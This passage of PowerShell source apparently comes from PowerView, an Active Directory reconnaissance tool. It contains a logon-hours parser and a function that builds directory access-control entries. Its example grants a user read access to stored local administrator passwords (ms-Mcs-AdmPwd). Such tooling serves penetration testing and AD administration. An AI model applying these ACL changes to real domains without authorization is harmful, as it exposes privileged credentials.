<# .SYNOPSIS Converts the LDAP LogonHours array to a processible object. Author: Lee Christensen (@tifkin_) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Converts the LDAP LogonHours array to a processible object. Each entry property in the output object corresponds to a day of the week and hour during the day (in UTC) indicating whether or not the user can logon at the specified hour. .PARAMETER LogonHoursArray 21-byte LDAP hours array. .EXAMPLE $hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours ConvertFrom-LDAPLogonHours $hours Gets the logonhours array from the first AD user with logon restrictions. .OUTPUTS PowerView.LogonHours #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LogonHours')] [CmdletBinding()] Param ( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [byte[]] $LogonHoursArray ) Begin { if($LogonHoursArray.Count -ne 21) { throw "LogonHoursArray is the incorrect length" } function ConvertTo-LogonHoursArray { Param ( [int[]] $HoursArr ) $LogonHours = New-Object bool[] 24 for($i=0; $i -lt 3; $i++) { $Byte = $HoursArr[$i] $Offset = $i * 8 $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) } $LogonHours } } Process { $Output = @{ Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] } $Output = New-Object PSObject -Property $Output $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') $Output } } function New-ADObjectAccessControlEntry { <# .SYNOPSIS Creates a new Active Directory object-specific access control entry. Author: Lee Christensen (@tifkin_) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Creates a new object-specific access control entry (ACE). The ACE could be used for auditing access to an object or controlling access to objects. .PARAMETER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER PrincipalSearchBase The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Right Specifies the rights set on the Active Directory object. .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) .PARAMETER AuditFlag For audit ACEs, specifies when to create an audit log (on success or failure) .PARAMETER ObjectType Specifies the GUID of the object that the ACE applies to. .PARAMETER InheritanceType Specifies how the ACE applies to the object and/or its children. .PARAMETER InheritedObjectType Specifies the type of object that can inherit the ACE. .EXAMPLE $Guids = Get-DomainGUIDMap $AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name $CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid $OU = Get-DomainOU -Raw Workstations $DsEntry = $OU.GetDirectoryEntry() $dsEntry.PsBase.Options.SecurityMasks = 'Dacl' $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $dsEntry.PsBase.CommitChanges() Adds an ACE to all computer objects in the OU "Workstations" permitting the user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. .OUTPUTS System.Security.AccessControl.AuthorizationRule #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Security.AccessControl.AuthorizationRule')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $True)] [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] $Right, [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] [ValidateSet('Success', 'Failure')] [String] $AuditFlag, [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] [Guid] $ObjectType, [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] [String] $InheritanceType, [Guid] $InheritedObjectType ) Begin { if ($PrincipalIdentity -notmatch '^S-1-.*') { $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principal = Get-DomainObject @PrincipalSearcherArguments if (-not $Principal) { throw "Unable to resolve principal: $PrincipalIdentity" } elseif($Principal.Count -gt 1) { throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" } $ObjectSid = $Principal.objectsid } else { $ObjectSid = $PrincipalIdentity } $ADRight = 0 foreach($r in $Right) { $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) } $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) } Process { if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType } } else { if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $Acces38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1